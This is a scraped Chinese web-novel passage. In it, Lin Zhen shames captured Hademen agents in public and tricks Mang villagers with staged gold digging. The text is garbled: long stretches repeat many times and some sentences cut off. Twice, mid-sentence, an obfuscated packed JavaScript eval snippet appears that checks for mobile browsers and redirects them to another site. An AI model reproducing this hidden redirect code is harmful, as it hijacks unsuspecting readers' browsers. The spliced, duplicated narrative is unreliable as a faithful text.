奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 明他很心虚!这个胖子绝对有事儿! “别装,我问你,刺客呢?” “啊?刺客跑了啊!!” “跑了?”林臻十分诧异。 侯春办事向来稳妥,这个刺客肯定是捆得好好的,怎么可能跑了呢? 林臻稍微一琢磨,就猜到了事情缘由,怒声说道:“肯定你是贪恋她的美色,下不去手,最后把她放跑了!对不对!” “我冤枉啊大哥!!”胖子连连摆手。 “胖爷承认与她有过肌肤之亲,但也没糊涂到那个地步!昨天本来审讯得挺好,基本都交代了,后来她说可以带胖爷去她们窝点,争取抓到更多的哈德门人,可谁知道这娘们半路朝胖爷裤裆踢了一脚,扭头就不见了!胖爷追了一宿也没追上,这才回来!” 胖子睁眼说瞎话的能耐林臻是知道的,所以他是一个字也不信。 “少胡说八道!刺客能招供就不错了,还能带着你去找哈德门的人?你骗谁呢!” “大哥!我冤枉啊!你不信你可以去问侯春,早上我把他喊起来让他带弟兄们去窝点抓人了,这个时间说不定已经回来了!我真冤枉啊!” 林臻见他说得信誓旦旦,还扯上了侯春,当下也信了几分。 于是说道:“等侯春回来我就问,如果你再敢撒谎骗我,我他妈就打死你!” 说完林臻怒气冲冲的下楼。 奶奶的,坑害自己的刺客难道真这么跑了?怎么可能呢。 来到楼下,正见到侯春一身劲装地走进来,对他抱拳:“世子,属下幸不辱命,将哈德门的一伙人连锅端了,人就在外面。” 林臻走出去,就看到八个书生打扮的中年男子被捆在驿站门口的马栓上。 路过的百姓都驻足观看,对他们指指点点,十分好奇。 林臻问道:“猴子,你能确定他们是哈德门的人?” “确定,每个人身上都有哈德门的令牌,而且他们所处的地方十分隐蔽,属下还整理了他们的物件,其中有很多关于各地区要员的情报。”说着侯春从他小弟手中拿过来很多纸张。 这上面密密麻麻写着很多情报,基本都是关于煊赫门的官员。 其中,情报最多的,内容最复杂的就是林臻。 可见他们算计林臻已经不是一天两天了。 奶奶的,这次落我手里,你们一个都别想好。 林臻将纸张交给侯春,自己走到哈德门人前面,对着所有看热闹的百姓喊到:“各位父老乡亲!大家快看,这些人就是哈德门的**!” “他们为了自己的私欲,滥用私刑,草菅人命,昨天更是下手杀害了县令韩雷!大家记住他们的长相,以后要小心哈德门!” 百姓立刻议论起来。 “啊?哈德门是什么?” “这你都不知道?就是以前的梅系啊!” “啊?他们不都是当官的吗?为什么要干出这样的事情!?” “你管那么多干啥,让你远离就远离,哈德门的人太可恶了,昨天更是杀了韩县令!” “对,不管怎么说,他们说**就**,就是不对!我们要反对哈德门!” “反对哈德门!” 林臻观瞧着百姓的态度,内心不住冷笑。 奶奶的,你们哈德门不是想挑起我和煊赫门之前的纷争么?好啊,老子就先让你们的名声臭大街!以后乾国王府,与哈德门就是不死不休! 老子一定要把你们彻底抹除,然后再专心对付韩天星。 “哗啦哗啦。” 急匆匆的脚步声伴随着金属碰撞声传来,林臻望去,就见一堆衙役走了过来。 为首的那人,正是昨天的博望县捕头,菜毕。 “世子,县丞大人有情。” 第460章 莽村不让进 ,百姓速度也就偏低。 当然,凡事无绝对,说的是比例。 如果有人抬杠,那林臻一定会说,你说得对。 但是现在就算林臻说“你说得对”也不行了,因为村民手里拿着大刀,根本就不让进村。 村门口,林臻带领的虎贲营队伍浩浩荡荡一字排开。 为了避免与村民发生冲突,所以林臻特意把胖子这个惹祸精放在了队伍最后面,他自己则是带着队伍前进。 林臻看着那凶神恶煞的守村人,笑得十分友好:“这位老兄,我们是来开发岭山的,你放心,村民们我会格外关照,不会少了你们的好处。” 说完林臻从怀里掏出一锭银子,看起来有五两的样子,笑嘻嘻地递给他。 上午都时候林臻为了确保能买通村民,特意在博望县兑换了这里的官银。 可谁知道那个**的守村人,把银子收进怀里以后再次梗着脖子说:“不能进!” 林臻当即就愣住了:“不是.老兄,你就有点不懂规矩了吧?你收了钱怎么不办事呢?” “少废话,你们赶紧走,否则别怪我们无礼!” “那你把银子还我。” “不还!” “不是,你还想黑吃黑啊?” “咱不懂啥叫黑,反正我们村,任何外人都不能进!” “那我们进山总行吧?” “进山从后山进,但是山上也有拦截地,不许进村!” 那守村人嘴咧得和八万似的,偏偏这里又没办法动武。 不过林臻虽然气,但还至于失去理智,他挥了挥手,适宜队伍向后退。 “我们走!” 守村人狞笑着摸了摸怀里的五两银子,狠狠朝林臻的背影啐了口唾沫。 “呸!什么东西,也想进我们莽村!” 向后退去十里,林臻命令虎贲营扎营,埋锅造饭。 胖子垫垫的从后面骑马过来,见林臻和侯春坐在大石头上说些什么。 他跳下马过来,一屁股拍在枯草上说道:“大哥,什么情况?不是说要让这群破落户挖矿吗?” 林臻无奈地说:“人家不给面子啊。” “草!那个不长眼的敢不给胖爷大哥面子?你说出来,胖爷刨了他们家祖坟!” “别那么冲动,我再和你说一遍。你的身份和你的武力不是用来欺负小老百姓的。” 林臻看向侯春,露出猫头鹰似的笑声:“桀桀桀桀,猴子,我交代你的都记住了?” “ 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林臻说道:“不对,是山上的树。” 第461章 山上有黄金? “树?什么意思?大哥你说明白点。” 林臻目光深邃地望向那座不大的山包。 虽然是山包,也虽然是冬天,但山上有很密集的树木林立,远远望去灰蒙蒙的,充斥着死寂。 林臻回答说:“我们想挖矿,就得把山上的树全部拔掉。但是这么多树,仅凭我们虎贲营自己,又砍又挖,需要很久的事情。我不会在博望县耽误太久,所以必须速战速决。那最好的办法就是利用莽村的百姓。” “嗐!!”胖子混不在意地说道:“说来说去还是百姓,按胖爷的说法,直接就把他们都抓起来,杀几个,见见血。百姓都这样,你不杀他,他就以为你不敢动他。但只要你杀鸡儆猴,尤其把死相整得难看点,他们就都老老实实的。” 胖子一副很有经验的样子,还捋了捋没有**的下巴。 “唉~这人呐~好说好商量的不行,就得皮鞭子沾凉水!**!!” “少扯那些没用的。我跟你说了,不能对百姓动武,这是底线。否则韩国肯定要派兵来接手,这样我们就相当于帮韩国朝廷解决了一个麻烦。到时候不仅岭山资源没有了,我们还要受**裹挟,赔本的买卖咱不干。” “嘶那你说怎么办?” “我不是正在说吗?你别老打断我好不好?好歹我也是你大哥。” “行行行,瞧你那小心眼的劲儿,难怪吃不上四个菜。” 胖子翻个白眼。 浣碧噗嗤一笑,宛若冬日里盛开的梅花那样美颜:“噗呵呵呵呵,胖爷真是的,世子不吃四个菜是因为吃不下,又不是吃不起。” “嫂子,虽说你进府早,但胖爷和大哥可是青梅竹马,两小无猜,好得穿一条裤子就差玩龙阳了。你不知道,别看他是王府世子,小时候连个奶妈子都没有,都是我婶婶亲自喂养的!真吃不上四个菜!” “噗咯咯咯咯!”浣碧更是被逗得前仰后合。 林臻呵斥道:“你滚,别扯那些没用的,还听不听了?” “听听听。” “我们想利用百姓,但是百姓不会乖乖被我们利用。他们连自己朝廷的号令都不听,更别说我一个外国世子了,所以我们就需要动动脑子。” 林臻突然压低声音,对两人神秘兮兮地说道:“我让侯春去偷偷把金子藏在山上.” “诶?你们听说了吗?外面的那些当兵的要挖我们的岭山!” “嗐,这有什么稀奇的?之前官府不是也想挖吗?还让我们去砍树,凭什么啊?就不挖!” “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443557|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 